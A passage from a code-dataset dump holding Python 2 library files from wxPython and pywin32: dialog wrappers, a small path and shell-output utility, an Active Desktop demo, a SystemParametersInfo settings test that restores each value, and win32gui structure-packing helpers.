(*.*)|*.*',\n style=wx.SAVE | wx.OVERWRITE_PROMPT):\n \"\"\"File dialog wrapper function.\"\"\"\n dialog = wx.FileDialog(parent, title, directory, filename,\n wildcard, style)\n result = DialogResults(dialog.ShowModal())\n if result.positive:\n result.path = dialog.GetPath()\n else:\n result.path = None\n dialog.Destroy()\n return result\n\n\ndef directory(parent=None, message='Choose a directory', path='', style=0,\n pos=wx.DefaultPosition, size=wx.DefaultSize):\n \"\"\"Dir dialog wrapper function.\"\"\"\n dialog = wx.DirDialog(parent, message, path, style, pos, size)\n result = DialogResults(dialog.ShowModal())\n if result.positive:\n result.path = dialog.GetPath()\n else:\n result.path = None\n dialog.Destroy()\n return result\n\n\ndef messageDialog(parent=None, message='', title='Message box',\n style=wx.YES_NO | wx.CANCEL | wx.CENTRE | wx.ICON_QUESTION,\n pos=wx.DefaultPosition):\n \"\"\"Message dialog wrapper function.\"\"\"\n dialog = wx.MessageDialog(parent, message, title, style, pos)\n result = DialogResults(dialog.ShowModal())\n dialog.Destroy()\n return result\n", "id": "269227", "language": "Python", "matching_score": 1.6967357397079468, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/py/editor.py" }, { "content": "\"\"\"path.py is a utility containing some very simple path utilities for Py to use\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n# 07/01/2009\n\nimport os\nimport glob\nimport commands\n\ndef pwd():\n print os.getcwd()\n\ndef cd(path,usePrint=True):\n os.chdir(os.path.expandvars(os.path.expanduser(path)))\n if usePrint:\n pwd()\n\ndef ls(str='*',fullpath=False):\n g=glob.glob(os.path.expandvars(os.path.expanduser(str)))\n if fullpath:\n for i in g:\n print i\n else:\n for i in g:\n print os.path.split(i)[1]\n\n# This prints the results of running a command in the GUI shell but be warned!\n# This is a blocking call, and if you open any kind of interactive \n# command-line program like python or bash, the shell will permanantly\n# freeze!\n# If you want this kind of behavior to be available, please use ipython\n# This is NOT a feature or goal of the Py project!\ndef sx(str=''):\n print commands.getoutput(str)\n\n#cd('~',usePrint=False)\n", "id": "1400809", "language": "Python", "matching_score": 0.3127185106277466, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/py/path.py" }, { "content": "from win32com.shell import shell, shellcon\nimport pythoncom\nimport time\nwebsite='https://github.com/mhammond/pywin32/'\niad=pythoncom.CoCreateInstance(shell.CLSID_ActiveDesktop, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IActiveDesktop)\nopts=iad.GetDesktopItemOptions()\nif not (opts['ActiveDesktop'] and opts['EnableComponents']):\n print 'Warning: Enabling Active Desktop'\n opts['ActiveDesktop']=True\n opts['EnableComponents']=True\n iad.SetDesktopItemOptions(opts)\n iad.ApplyChanges(0xffff)\n iad=None\n ## apparently takes a short while for it to become active\n time.sleep(2)\n iad=pythoncom.CoCreateInstance(shell.CLSID_ActiveDesktop, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IActiveDesktop)\n\ncnt=iad.GetDesktopItemCount()\nprint 'Count:', cnt\nfor i in range(cnt):\n print iad.GetDesktopItem(i)\n\ncomponent={\n 'ID': cnt+1,\n 'ComponentType': shellcon.COMP_TYPE_WEBSITE,\n 'CurItemState': shellcon.IS_NORMAL,\n 'SubscribedURL': website,\n 'Source' : website,\n 'FriendlyName' : u'Pywin32 on SF',\n 'Checked' : True, ## this controls whether item is currently displayed\n 'NoScroll' : False,\n 'Dirty': False,\n 'Pos': {'Top':69, 'Left':69, 'Height': 400, 'Width': 400, 'zIndex': 1002,\n 'CanResize': True, 'CanResizeX': True, 'CanResizeY': True,\n 'PreferredLeftPercent': 0, 'PreferredTopPercent': 0},\n 'Original': {'Top': 33, 'Left': 304, 'Height': 362, 'Width': 372, 'ItemState': shellcon.IS_NORMAL},\n 'Restored': {'Top': 33, 'Left': 304, 'Height': 362, 'Width': 372, 'ItemState': shellcon.IS_NORMAL}\n }\n\n\ntry:\n existing_item=iad.GetDesktopItemBySource(website)\nexcept pythoncom.com_error:\n pass\nelse:\n iad.RemoveDesktopItem(existing_item)\n iad.ApplyChanges(0xffff)\n\niad.AddDesktopItem(component)\niad.ApplyChanges(0xffff) ## need to check which AD_APPLY constants are actually needed\n\n\n\n", "id": "6502086", "language": "Python", "matching_score": 0.8733631372451782, "max_stars_count": 3, "path": "Lib/site-packages/win32comext/shell/demos/IActiveDesktop.py" }, { "content": "import win32gui, win32con, win32api, time, os, glob\n## some of these tests will fail for systems prior to XP\n\nfor pname in(\n ## Set actions all take an unsigned int in pvParam\n \"SPI_GETMOUSESPEED\", \"SPI_GETACTIVEWNDTRKTIMEOUT\", \"SPI_GETCARETWIDTH\",\n \"SPI_GETFOREGROUNDFLASHCOUNT\", \"SPI_GETFOREGROUNDLOCKTIMEOUT\", \n ## Set actions all take an unsigned int in uiParam\n \"SPI_GETWHEELSCROLLLINES\", \"SPI_GETKEYBOARDDELAY\",\n \"SPI_GETKEYBOARDSPEED\",\n \"SPI_GETMOUSEHOVERHEIGHT\", \"SPI_GETMOUSEHOVERWIDTH\",\n \"SPI_GETMOUSEHOVERTIME\", \"SPI_GETSCREENSAVETIMEOUT\", \"SPI_GETMENUSHOWDELAY\",\n \"SPI_GETLOWPOWERTIMEOUT\", \"SPI_GETPOWEROFFTIMEOUT\", \"SPI_GETBORDER\",\n ## below are winxp only:\n \"SPI_GETFONTSMOOTHINGCONTRAST\", \"SPI_GETFONTSMOOTHINGTYPE\", \"SPI_GETFOCUSBORDERHEIGHT\",\n \"SPI_GETFOCUSBORDERWIDTH\", \"SPI_GETMOUSECLICKLOCKTIME\"):\n print pname\n cget=getattr(win32con,pname)\n cset=getattr(win32con,pname.replace('_GET','_SET'))\n orig_value=win32gui.SystemParametersInfo(cget)\n print '\\toriginal setting:',orig_value\n win32gui.SystemParametersInfo(cset, orig_value+1)\n new_value=win32gui.SystemParametersInfo(cget)\n print '\\tnew value:',new_value\n # On Vista, some of these values seem to be ignored. So only \"fail\" if\n # the new value isn't what we set or the original\n if new_value!=orig_value+1:\n assert new_value == orig_value\n print \"Strange - setting %s seems to have been ignored\" % (pname,)\n win32gui.SystemParametersInfo(cset, orig_value)\n assert win32gui.SystemParametersInfo(cget)==orig_value\n\n\n\n# these take a boolean value in pvParam\n# change to opposite, check that it was changed and change back\nfor pname in (\"SPI_GETFLATMENU\",\"SPI_GETDROPSHADOW\",\"SPI_GETKEYBOARDCUES\",\"SPI_GETMENUFADE\",\n \"SPI_GETCOMBOBOXANIMATION\", \"SPI_GETCURSORSHADOW\", \"SPI_GETGRADIENTCAPTIONS\", \"SPI_GETHOTTRACKING\",\n \"SPI_GETLISTBOXSMOOTHSCROLLING\", \"SPI_GETMENUANIMATION\", \"SPI_GETSELECTIONFADE\",\n \"SPI_GETTOOLTIPANIMATION\", \"SPI_GETTOOLTIPFADE\", \"SPI_GETUIEFFECTS\", \"SPI_GETACTIVEWINDOWTRACKING\",\n \"SPI_GETACTIVEWNDTRKZORDER\"):\n print pname\n cget=getattr(win32con,pname)\n cset=getattr(win32con,pname.replace('_GET','_SET'))\n orig_value=win32gui.SystemParametersInfo(cget)\n print orig_value\n win32gui.SystemParametersInfo(cset, not orig_value)\n new_value=win32gui.SystemParametersInfo(cget)\n print new_value\n assert orig_value!=new_value\n win32gui.SystemParametersInfo(cset, orig_value)\n assert win32gui.SystemParametersInfo(cget)==orig_value\n\n\n\n# these take a boolean in uiParam\n# could combine with above section now that SystemParametersInfo only takes a single parameter\nfor pname in (\"SPI_GETFONTSMOOTHING\",\"SPI_GETICONTITLEWRAP\",\"SPI_GETBEEP\",\"SPI_GETBLOCKSENDINPUTRESETS\",\n \"SPI_GETKEYBOARDPREF\",\"SPI_GETSCREENSAVEACTIVE\",\"SPI_GETMENUDROPALIGNMENT\",\n \"SPI_GETDRAGFULLWINDOWS\", \"SPI_GETSHOWIMEUI\"):\n cget=getattr(win32con,pname)\n cset=getattr(win32con,pname.replace('_GET','_SET'))\n orig_value=win32gui.SystemParametersInfo(cget)\n win32gui.SystemParametersInfo(cset, not orig_value)\n new_value=win32gui.SystemParametersInfo(cget)\n # Some of these also can't be changed (eg, SPI_GETSCREENSAVEACTIVE) so\n # don't actually get upset.\n if orig_value!=new_value:\n print \"successfully toggled\", pname, \"from\", orig_value, \"to\", new_value\n else:\n print \"couldn't toggle\", pname, \"from\", orig_value\n win32gui.SystemParametersInfo(cset, orig_value)\n assert win32gui.SystemParametersInfo(cget)==orig_value\n\n\n\nprint \"SPI_GETICONTITLELOGFONT\"\nlf=win32gui.SystemParametersInfo(win32con.SPI_GETICONTITLELOGFONT)\norig_height=lf.lfHeight\norig_italic=lf.lfItalic\nprint 'Height:', orig_height, 'Italic:',orig_italic\nlf.lfHeight+=2\nlf.lfItalic=not lf.lfItalic\nwin32gui.SystemParametersInfo(win32con.SPI_SETICONTITLELOGFONT, lf)\nnew_lf=win32gui.SystemParametersInfo(win32con.SPI_GETICONTITLELOGFONT)\nprint 'New Height:', new_lf.lfHeight, 'New Italic:',new_lf.lfItalic\nassert new_lf.lfHeight==orig_height+2\nassert new_lf.lfItalic!=orig_italic\n\nlf.lfHeight=orig_height\nlf.lfItalic=orig_italic\nwin32gui.SystemParametersInfo(win32con.SPI_SETICONTITLELOGFONT, lf)\nnew_lf=win32gui.SystemParametersInfo(win32con.SPI_GETICONTITLELOGFONT)\nassert new_lf.lfHeight==orig_height\nassert new_lf.lfItalic==orig_italic\n\n\n\nprint \"SPI_GETMOUSEHOVERWIDTH, SPI_GETMOUSEHOVERHEIGHT, SPI_GETMOUSEHOVERTIME\"\nw=win32gui.SystemParametersInfo(win32con.SPI_GETMOUSEHOVERWIDTH)\nh=win32gui.SystemParametersInfo(win32con.SPI_GETMOUSEHOVERHEIGHT)\nt=win32gui.SystemParametersInfo(win32con.SPI_GETMOUSEHOVERTIME)\nprint 'w,h,t:', w,h,t\n\nwin32gui.SystemParametersInfo(win32con.SPI_SETMOUSEHOVERWIDTH,w+1)\nwin32gui.SystemParametersInfo(win32con.SPI_SETMOUSEHOVERHEIGHT,h+2)\nwin32gui.SystemParametersInfo(win32con.SPI_SETMOUSEHOVERTIME,t+3)\nnew_w=win32gui.SystemParametersInfo(win32con.SPI_GETMOUSEHOVERWIDTH)\nnew_h=win32gui.SystemParametersInfo(win32con.SPI_GETMOUSEHOVERHEIGHT)\nnew_t=win32gui.SystemParametersInfo(win32con.SPI_GETMOUSEHOVERTIME)\nprint 'new w,h,t:', new_w, new_h, new_t\nassert new_w==w+1\nassert new_h==h+2\nassert new_t==t+3\n\nwin32gui.SystemParametersInfo(win32con.SPI_SETMOUSEHOVERWIDTH,w)\nwin32gui.SystemParametersInfo(win32con.SPI_SETMOUSEHOVERHEIGHT,h)\nwin32gui.SystemParametersInfo(win32con.SPI_SETMOUSEHOVERTIME,t)\nnew_w=win32gui.SystemParametersInfo(win32con.SPI_GETMOUSEHOVERWIDTH)\nnew_h=win32gui.SystemParametersInfo(win32con.SPI_GETMOUSEHOVERHEIGHT)\nnew_t=win32gui.SystemParametersInfo(win32con.SPI_GETMOUSEHOVERTIME)\nassert new_w==w\nassert new_h==h\nassert new_t==t\n\n\n\nprint \"SPI_SETDOUBLECLKWIDTH, SPI_SETDOUBLECLKHEIGHT\"\nx=win32api.GetSystemMetrics(win32con.SM_CXDOUBLECLK)\ny=win32api.GetSystemMetrics(win32con.SM_CYDOUBLECLK)\nprint 'x,y:', x, y\nwin32gui.SystemParametersInfo(win32con.SPI_SETDOUBLECLKWIDTH, x+1)\nwin32gui.SystemParametersInfo(win32con.SPI_SETDOUBLECLKHEIGHT, y+2)\nnew_x=win32api.GetSystemMetrics(win32con.SM_CXDOUBLECLK)\nnew_y=win32api.GetSystemMetrics(win32con.SM_CYDOUBLECLK)\nprint 'new x,y:', new_x, new_y\nassert new_x==x+1\nassert new_y==y+2\nwin32gui.SystemParametersInfo(win32con.SPI_SETDOUBLECLKWIDTH, x)\nwin32gui.SystemParametersInfo(win32con.SPI_SETDOUBLECLKHEIGHT, y)\nnew_x=win32api.GetSystemMetrics(win32con.SM_CXDOUBLECLK)\nnew_y=win32api.GetSystemMetrics(win32con.SM_CYDOUBLECLK)\nassert new_x==x\nassert new_y==y\n\n\n\nprint \"SPI_SETDRAGWIDTH, SPI_SETDRAGHEIGHT\"\ndw=win32api.GetSystemMetrics(win32con.SM_CXDRAG)\ndh=win32api.GetSystemMetrics(win32con.SM_CYDRAG)\nprint 'dw,dh:', dw, dh\nwin32gui.SystemParametersInfo(win32con.SPI_SETDRAGWIDTH,dw+1)\nwin32gui.SystemParametersInfo(win32con.SPI_SETDRAGHEIGHT,dh+2)\nnew_dw=win32api.GetSystemMetrics(win32con.SM_CXDRAG)\nnew_dh=win32api.GetSystemMetrics(win32con.SM_CYDRAG)\nprint 'new dw,dh:', new_dw, new_dh\nassert new_dw==dw+1\nassert new_dh==dh+2\nwin32gui.SystemParametersInfo(win32con.SPI_SETDRAGWIDTH,dw)\nwin32gui.SystemParametersInfo(win32con.SPI_SETDRAGHEIGHT,dh)\nnew_dw=win32api.GetSystemMetrics(win32con.SM_CXDRAG)\nnew_dh=win32api.GetSystemMetrics(win32con.SM_CYDRAG)\nassert new_dw==dw\nassert new_dh==dh\n\n\n\norig_wallpaper=win32gui.SystemParametersInfo(Action=win32con.SPI_GETDESKWALLPAPER)\nprint 'Original: ',orig_wallpaper\nfor bmp in glob.glob(os.path.join(os.environ['windir'],'*.bmp')):\n print bmp\n win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, Param=bmp)\n print win32gui.SystemParametersInfo(Action=win32con.SPI_GETDESKWALLPAPER)\n time.sleep(1)\n\nwin32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, Param=orig_wallpaper)\n\n\n\n\n", "id": "4647208", "language": "Python", "matching_score": 0.7684484124183655, "max_stars_count": 3, "path": "Lib/site-packages/win32/Demos/SystemParametersInfo.py" }, { "content": "# This is a work in progress - see Demos/win32gui_menu.py\n\n# win32gui_struct.py - helpers for working with various win32gui structures.\n# As win32gui is \"light-weight\", it does not define objects for all possible\n# win32 structures - in general, \"buffer\" objects are passed around - it is\n# the callers responsibility to pack the buffer in the correct format.\n#\n# This module defines some helpers for the commonly used structures.\n#\n# In general, each structure has 3 functions:\n#\n# buffer, extras = PackSTRUCTURE(items, ...)\n# item, ... = UnpackSTRUCTURE(buffer)\n# buffer, extras = EmtpySTRUCTURE(...)\n#\n# 'extras' is always items that must be held along with the buffer, as the\n# buffer refers to these object's memory.\n# For structures that support a 'mask', this mask is hidden from the user - if\n# 'None' is passed, the mask flag will not be set, or on return, None will\n# be returned for the value if the mask is not set.\n#\n# NOTE: I considered making these structures look like real classes, and\n# support 'attributes' etc - however, ctypes already has a good structure\n# mechanism - I think it makes more sense to support ctype structures\n# at the win32gui level, then there will be no need for this module at all.\n# XXX - the above makes sense in terms of what is built and passed to\n# win32gui (ie, the Pack* functions) - but doesn't make as much sense for\n# the Unpack* functions, where the aim is user convenience.\n\nimport sys\nimport win32gui\nimport win32con\nimport struct\nimport array\nimport commctrl\nimport pywintypes\n\nis64bit = \"64 bit\" in sys.version\n\ntry:\n from collections import namedtuple\n def _MakeResult(names_str, values):\n names = names_str.split()\n nt = namedtuple(names[0], names[1:])\n return nt(*values)\nexcept ImportError:\n # no namedtuple support - just return the values as a normal tuple.\n def _MakeResult(names_str, values):\n return values\n\n_nmhdr_fmt = \"PPi\"\nif is64bit:\n # When the item past the NMHDR gets aligned (eg, when it is a struct) \n # we need this many bytes padding.\n _nmhdr_align_padding = \"xxxx\"\nelse:\n _nmhdr_align_padding = \"\"\n\n# Encode a string suitable for passing in a win32gui related structure\n# If win32gui is built with UNICODE defined (ie, py3k), then functions\n# like InsertMenuItem are actually calling InsertMenuItemW etc, so all\n# strings will need to be unicode.\nif win32gui.UNICODE:\n def _make_text_buffer(text):\n # XXX - at this stage win32gui.UNICODE is only True in py3k,\n # and in py3k is makes sense to reject bytes.\n if not isinstance(text, unicode):\n raise TypeError('MENUITEMINFO text must be unicode')\n data = (text+'\\0').encode(\"utf-16le\")\n return array.array(\"b\", data)\n\nelse:\n def _make_text_buffer(text):\n if isinstance(text, unicode):\n text = text.encode(\"mbcs\")\n return array.array(\"b\", text+'\\0')\n\n# make an 'empty' buffer, ready for filling with cch characters.\ndef _make_empty_text_buffer(cch):\n return _make_text_buffer(\"\\0\" * cch)\n\nif sys.version_info < (3,0):\n def _make_memory(ob):\n return str(buffer(ob))\n\n def _make_bytes(sval):\n return sval\nelse:\n def _make_memory(ob):\n return bytes(memoryview(ob))\n\n def _make_bytes(sval):\n return sval.encode('ascii')\n\n# Generic WM_NOTIFY unpacking\ndef UnpackWMNOTIFY(lparam):\n format = \"PPi\"\n buf = win32gui.PyGetMemory(lparam, struct.calcsize(format))\n return _MakeResult(\"WMNOTIFY hwndFrom idFrom code\", struct.unpack(format, buf))\n\ndef UnpackNMITEMACTIVATE(lparam):\n format = _nmhdr_fmt + _nmhdr_align_padding\n if is64bit:\n # the struct module doesn't handle this correctly as some of the items\n # are actually structs in structs, which get individually aligned.\n format = format + \"iiiiiiixxxxP\"\n else:\n format = format + \"iiiiiiiP\"\n buf = win32gui.PyMakeBuffer(struct.calcsize(format), lparam)\n return _MakeResult(\"NMITEMACTIVATE hwndFrom idFrom code iItem iSubItem uNewState uOldState uChanged actionx actiony lParam\",\n struct.unpack(format, buf))\n\n# MENUITEMINFO struct\n# http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/WinUI/WindowsUserInterface/Resources/Menus/MenuReference/MenuStructures/MENUITEMINFO.asp\n# We use the struct module to pack and unpack strings as MENUITEMINFO\n# structures. We also have special handling for the 'fMask' item in that\n# structure to avoid the caller needing to explicitly check validity\n# (None is used if the mask excludes/should exclude the value)\n_menuiteminfo_fmt = '5i5PiP'\n\ndef PackMENUITEMINFO(fType=None, fState=None, wID=None, hSubMenu=None,\n hbmpChecked=None, hbmpUnchecked=None, dwItemData=None,\n text=None, hbmpItem=None, dwTypeData=None):\n # 'extras' are objects the caller must keep a reference to (as their\n # memory is used) for the lifetime of the INFO item.\n extras = []\n # ack - dwItemData and dwTypeData were confused for a while...\n assert dwItemData is None or dwTypeData is None, \\\n \"sorry - these were confused - you probably want dwItemData\"\n # if we are a long way past 209, then we can nuke the above...\n if dwTypeData is not None:\n import warnings\n warnings.warn(\"PackMENUITEMINFO: please use dwItemData instead of dwTypeData\")\n if dwItemData is None:\n dwItemData = dwTypeData or 0\n\n fMask = 0\n if fType is None: fType = 0\n else: fMask |= win32con.MIIM_FTYPE\n if fState is None: fState = 0\n else: fMask |= win32con.MIIM_STATE\n if wID is None: wID = 0\n else: fMask |= win32con.MIIM_ID\n if hSubMenu is None: hSubMenu = 0\n else: fMask |= win32con.MIIM_SUBMENU\n if hbmpChecked is None:\n assert hbmpUnchecked is None, \\\n \"neither or both checkmark bmps must be given\"\n hbmpChecked = hbmpUnchecked = 0\n else:\n assert hbmpUnchecked is not None, \\\n \"neither or both checkmark bmps must be given\"\n fMask |= win32con.MIIM_CHECKMARKS\n if dwItemData is None: dwItemData = 0\n else: fMask |= win32con.MIIM_DATA\n if hbmpItem is None: hbmpItem = 0\n else: fMask |= win32con.MIIM_BITMAP\n if text is not None:\n fMask |= win32con.MIIM_STRING\n str_buf = _make_text_buffer(text)\n cch = len(text)\n # We are taking address of strbuf - it must not die until windows\n # has finished with our structure.\n lptext = str_buf.buffer_info()[0]\n extras.append(str_buf)\n else:\n lptext = 0\n cch = 0\n # Create the struct.\n # 'P' format does not accept PyHANDLE's !\n item = struct.pack(\n _menuiteminfo_fmt,\n struct.calcsize(_menuiteminfo_fmt), # cbSize\n fMask,\n fType,\n fState,\n wID,\n long(hSubMenu),\n long(hbmpChecked),\n long(hbmpUnchecked),\n dwItemData,\n lptext,\n cch,\n long(hbmpItem)\n )\n # Now copy the string to a writable buffer, so that the result\n # could be passed to a 'Get' function\n return array.array(\"b\", item), extras\n\ndef UnpackMENUITEMINFO(s):\n (cb,\n fMask,\n fType,\n fState,\n wID,\n hSubMenu,\n hbmpChecked,\n hbmpUnchecked,\n dwItemData,\n lptext,\n cch,\n hbmpItem) = struct.unpack(_menuiteminfo_fmt, s)\n assert cb==len(s)\n if fMask & win32con.MIIM_FTYPE==0: fType = None\n if fMask & win32con.MIIM_STATE==0: fState = None\n if fMask & win32con.MIIM_ID==0: wID = None\n if fMask & win32con.MIIM_SUBMENU==0: hSubMenu = None\n if fMask & win32con.MIIM_CHECKMARKS==0: hbmpChecked = hbmpUnchecked = None\n if fMask & win32con.MIIM_DATA==0: dwItemData = None\n if fMask & win32con.MIIM_BITMAP==0: hbmpItem = None\n if fMask & win32con.MIIM_STRING:\n text = win32gui.PyGetString(lptext, cch)\n else:\n text = None\n return _MakeResult(\"MENUITEMINFO fType fState wID hSubMenu hbmpChecked \"\n \"hbmpUnchecked dwItemData text hbmpItem\",\n (fType, fState, wID, hSubMenu, hbmpChecked, hbmpUnchecked, \\\n dwItemData, text, hbmpItem))\n\ndef EmptyMENUITEMINFO(mask = None, text_buf_size=512):\n # text_buf_size is number of *characters* - not necessarily no of bytes.\n extra = []\n if mask is None:\n mask = win32con.MIIM_BITMAP | win32con.MIIM_CHECKMARKS | \\\n win32con.MIIM_DATA | win32con.MIIM_FTYPE | \\\n win32con.MIIM_ID | win32con.MIIM_STATE | \\\n win32con.MIIM_STRING | win32con.MIIM_SUBMENU\n # Note: No MIIM_TYPE - this screws win2k/98.\n \n if mask & win32con.MIIM_STRING:\n text_buffer = _make_empty_text_buffer(text_buf_size)\n extra.append(text_buffer)\n text_addr, _ = text_buffer.buffer_info()\n else:\n text_addr = text_buf_size = 0\n\n # Now copy the string to a writable buffer, so that the result\n # could be passed to a 'Get' function\n buf = struct.pack(\n _menuiteminfo_fmt,\n struct.calcsize(_menuiteminfo_fmt), # cbSize\n mask,\n 0, #fType,\n 0, #fState,\n 0, #wID,\n 0, #hSubMenu,\n 0, #hbmpChecked,\n 0, #hbmpUnchecked,\n 0, #dwItemData,\n text_addr,\n text_buf_size,\n 0, #hbmpItem\n )\n return array.array(\"b\", buf), extra\n\n# MENUINFO struct\n_menuinfo_fmt = 'iiiiPiP'\n\ndef PackMENUINFO(dwStyle = None, cyMax = None,\n hbrBack = None, dwContextHelpID = None, dwMenuData = None,\n fMask = 0):\n if dwStyle is None: dwStyle = 0\n else: fMask |= win32con.MIM_STYLE\n if cyMax is None: cyMax = 0\n else: fMask |= win32con.MIM_MAXHEIGHT\n if hbrBack is None: hbrBack = 0\n else: fMask |= win32con.MIM_BACKGROUND\n if dwContextHelpID is None: dwContextHelpID = 0\n else: fMask |= win32con.MIM_HELPID\n if dwMenuData is None: dwMenuData = 0\n else: fMask |= win32con.MIM_MENUDATA\n # Create the struct.\n item = struct.pack(\n _menuinfo_fmt,\n struct.calcsize(_menuinfo_fmt), # cbSize\n fMask,\n dwStyle,\n cyMax,\n hbrBack,\n dwContextHelpID,\n dwMenuData)\n return array.array(\"b\", item)\n\ndef UnpackMENUINFO(s):\n (cb,\n fMask,\n dwStyle,\n cyMax,\n hbrBack,\n dwContextHelpID,\n dwMenuData) = struct.unpack(_menuinfo_fmt, s)\n assert cb==len(s)\n if fMask & win32con.MIM_STYLE==0: dwStyle = None\n if fMask & win32con.MIM_MAXHEIGHT==0: cyMax = None\n if fMask & win32con.MIM_BACKGROUND==0: hbrBack = None\n if fMask & win32con.MIM_HELPID==0: dwContextHelpID = None\n if fMask & win32con.MIM_MENUDATA==0: dwMenuData = None\n return _MakeResult(\"MENUINFO dwStyle cyMax hbrBack dwContextHelpID dwMenuData\",\n (dwStyle, cyMax, hbrBack, dwContextHelpID, dwMenuData))\n\ndef EmptyMENUINFO(mask = None):\n if mask is None:\n mask = win32con.MIM_STYLE | win32con.MIM_MAXHEIGHT| \\\n win32con.MIM_BACKGROUND | win32con.MIM_HELPID | \\\n win32con.MIM_MENUDATA\n \n buf = struct.pack(\n _menuinfo_fmt,\n struct.calcsize(_menuinfo_fmt), # cbSize\n mask,\n 0, #dwStyle\n 0, #cyMax\n 0, #hbrBack,\n 0, #dwContextHelpID,\n 0, #dwMenuData,\n )\n return array.array(\"b\", buf)\n\n##########################################################################\n#\n# Tree View structure support - TVITEM, TVINSERTSTRUCT and TVDISPINFO\n# \n##########################################################################\n\n# XXX - Note that the following implementation of TreeView structures is ripped\n# XXX - from the SpamBayes project. It may not quite work correctly yet - I\n# XXX - intend checking them later - but having them is better than not at all!\n\n_tvitem_fmt = \"iPiiPiiiiP\"\n# Helpers for the ugly win32 structure packing/unpacking\n# XXX - Note that functions using _GetMaskAndVal run 3x faster if they are\n# 'inlined' into the function - see PackLVITEM. If the profiler points at\n# _GetMaskAndVal(), you should nuke it (patches welcome once they have been\n# tested)\ndef _GetMaskAndVal(val, default, mask, flag):\n if val is None:\n return mask, default\n else:\n if flag is not None:\n mask |= flag\n return mask, val\n\ndef PackTVINSERTSTRUCT(parent, insertAfter, tvitem):\n tvitem_buf, extra = PackTVITEM(*tvitem)\n tvitem_buf = tvitem_buf.tostring()\n format = \"PP%ds\" % len(tvitem_buf)\n return struct.pack(format, parent, insertAfter, tvitem_buf), extra\n\ndef PackTVITEM(hitem, state, stateMask, text, image, selimage, citems, param):\n extra = [] # objects we must keep references to\n mask = 0\n mask, hitem = _GetMaskAndVal(hitem, 0, mask, commctrl.TVIF_HANDLE)\n mask, state = _GetMaskAndVal(state, 0, mask, commctrl.TVIF_STATE)\n if not mask & commctrl.TVIF_STATE:\n stateMask = 0\n mask, text = _GetMaskAndVal(text, None, mask, commctrl.TVIF_TEXT)\n mask, image = _GetMaskAndVal(image, 0, mask, commctrl.TVIF_IMAGE)\n mask, selimage = _GetMaskAndVal(selimage, 0, mask, commctrl.TVIF_SELECTEDIMAGE)\n mask, citems = _GetMaskAndVal(citems, 0, mask, commctrl.TVIF_CHILDREN)\n mask, param = _GetMaskAndVal(param, 0, mask, commctrl.TVIF_PARAM)\n if text is None:\n text_addr = text_len = 0\n else:\n text_buffer = _make_text_buffer(text)\n text_len = len(text)\n extra.append(text_buffer)\n text_addr, _ = text_buffer.buffer_info()\n buf = struct.pack(_tvitem_fmt,\n mask, hitem,\n state, stateMask,\n text_addr, text_len, # text\n image, selimage,\n citems, param)\n return array.array(\"b\", buf), extra\n\n# Make a new buffer suitable for querying hitem's attributes.\ndef EmptyTVITEM(hitem, mask = None, text_buf_size=512):\n extra = [] # objects we must keep references to\n if mask is None:\n mask = commctrl.TVIF_HANDLE | commctrl.TVIF_STATE | commctrl.TVIF_TEXT | \\\n commctrl.TVIF_IMAGE | commctrl.TVIF_SELECTEDIMAGE | \\\n commctrl.TVIF_CHILDREN | commctrl.TVIF_PARAM\n if mask & commctrl.TVIF_TEXT:\n text_buffer = _make_empty_text_buffer(text_buf_size)\n extra.append(text_buffer)\n text_addr, _ = text_buffer.buffer_info()\n else:\n text_addr = text_buf_size = 0\n buf = struct.pack(_tvitem_fmt,\n mask, hitem,\n 0, 0,\n text_addr, text_buf_size, # text\n 0, 0,\n 0, 0)\n return array.array(\"b\", buf), extra\n \ndef UnpackTVITEM(buffer):\n item_mask, item_hItem, item_state, item_stateMask, \\\n item_textptr, item_cchText, item_image, item_selimage, \\\n item_cChildren, item_param = struct.unpack(_tvitem_fmt, buffer)\n # ensure only items listed by the mask are valid (except we assume the\n # handle is always valid - some notifications (eg, TVN_ENDLABELEDIT) set a\n # mask that doesn't include the handle, but the docs explicity say it is.)\n if not (item_mask & commctrl.TVIF_TEXT): item_textptr = item_cchText = None\n if not (item_mask & commctrl.TVIF_CHILDREN): item_cChildren = None\n if not (item_mask & commctrl.TVIF_IMAGE): item_image = None\n if not (item_mask & commctrl.TVIF_PARAM): item_param = None\n if not (item_mask & commctrl.TVIF_SELECTEDIMAGE): item_selimage = None\n if not (item_mask & commctrl.TVIF_STATE): item_state = item_stateMask = None\n \n if item_textptr:\n text = win32gui.PyGetString(item_textptr)\n else:\n text = None\n return _MakeResult(\"TVITEM item_hItem item_state item_stateMask \"\n \"text item_image item_selimage item_cChildren item_param\",\n (item_hItem, item_state, item_stateMask, text,\n item_image, item_selimage, item_cChildren, item_param))\n\n# Unpack the lparm from a \"TVNOTIFY\" message\ndef UnpackTVNOTIFY(lparam):\n item_size = struct.calcsize(_tvitem_fmt)\n format = _nmhdr_fmt + _nmhdr_align_padding\n if is64bit:\n format = format + \"ixxxx\"\n else:\n format = format + \"i\"\n format = format + \"%ds%ds\" % (item_size, item_size)\n buf = win32gui.PyGetMemory(lparam, struct.calcsize(format))\n hwndFrom, id, code, action, buf_old, buf_new \\\n = struct.unpack(format, buf)\n item_old = UnpackTVITEM(buf_old)\n item_new = UnpackTVITEM(buf_new)\n return _MakeResult(\"TVNOTIFY hwndFrom id code action item_old item_new\",\n (hwndFrom, id, code, action, item_old, item_new))\n\ndef UnpackTVDISPINFO(lparam):\n item_size = struct.calcsize(_tvitem_fmt)\n format = \"PPi%ds\" % (item_size,)\n buf = win32gui.PyGetMemory(lparam, struct.calcsize(format))\n hwndFrom, id, code, buf_item = struct.unpack(format, buf)\n item = UnpackTVITEM(buf_item)\n return _MakeResult(\"TVDISPINFO hwndFrom id code item\",\n (hwndFrom, id, code, item))\n\n#\n# List view items\n_lvitem_fmt = \"iiiiiPiiPi\"\n\ndef PackLVITEM(item=None, subItem=None, state=None, stateMask=None, text=None, image=None, param=None, indent=None):\n extra = [] # objects we must keep references to\n mask = 0\n # _GetMaskAndVal adds quite a bit of overhead to this function.\n if item is None: item = 0 # No mask for item\n if subItem is None: subItem = 0 # No mask for sibItem\n if state is None:\n state = 0\n stateMask = 0\n else:\n mask |= 